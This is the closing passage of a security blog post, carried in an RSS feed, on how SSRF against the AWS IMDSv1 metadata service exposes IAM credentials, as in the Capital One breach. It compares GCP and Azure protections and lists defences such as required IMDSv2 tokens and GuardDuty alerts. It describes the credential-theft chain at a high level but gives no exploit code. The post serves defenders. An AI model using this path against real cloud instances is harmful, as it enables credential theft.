<td><strong>Azure</strong></td>
<td>Azure IMDS requires <code class="" data-line="">Metadata: true</code> header — browser/SSRF requests typically cannot set this; additionally, IMDS returns only non-credential metadata by default (credentials via Managed Identity have their own endpoint with additional controls)</td>
<td>N/A</td>
</tr>
</tbody>
</table>
<blockquote>
<p><strong>Note on GCP and Azure:</strong> Both providers designed their metadata services with SSRF resistance in mind. The <code class="" data-line="">Metadata-Flavor: Google</code> and <code class="" data-line="">Metadata: true</code> headers must be explicitly set by the calling code — they are not added by default browser or curl requests. This does not make SSRF harmless on GCP/Azure (other metadata is still exposed), but the credential exfiltration path is harder than IMDSv1.</p>
</blockquote>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>IMDSv1 has no authentication</strong>: any SSRF in any process running on an EC2 instance — application code, WAF, sidecar, proxy — is sufficient to retrieve the full IAM role credentials; no privilege escalation required</li>
<li>The Capital One breach was not a novel attack: it was a well-known SSRF-to-IMDS chain that had been documented for years before 2019; the industry was slow to enforce IMDSv2 at scale</li>
<li><code class="" data-line="">--http-tokens required</code> is the complete fix for the SSRF-to-IMDS credential chain; the operational cost is near zero; every production EC2 instance should have it; use an SCP to make it org-wide and durable</li>
<li>GuardDuty&#8217;s <code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration</code> finding is your primary post-exploitation signal but fires 5–15 minutes after the fact — pair it with IAM permission boundaries to limit blast radius and EventBridge rules on S3 data events for real-time alerting</li>
<li>The structural solution eliminates the credential entirely: <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> on EKS/GKE means pods get scoped, short-lived tokens; the node&#8217;s instance role carries no application permissions; even a successful SSRF-to-IMDS attack yields nothing useful</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>SSRF gets you IAM credentials. But if the attacker is already inside a container — even a legitimate one — the path to the host is different. The credential-theft chain doesn&#8217;t apply when the attacker already has code execution inside a pod. EP08 covers Kubernetes container escape: <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, privileged containers, and the kernel-level paths that take an attacker from container to node. The detection angle is where eBPF enters the picture — syscall-level visibility that catches escape attempts before they complete.</p>
<p>Get EP08 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&amp;linkname=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fssrf-cloud-metadata-imds-capital-one%2F&#038;title=SSRF%20to%20Cloud%20Metadata%3A%20How%20IMDSv1%20Enabled%20the%20Capital%20One%20Breach" data-a2a-url="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/" data-a2a-title="SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach"></a></p><p>The post <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1861</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-09-02 10:04:22 by W3 Total Cache
-->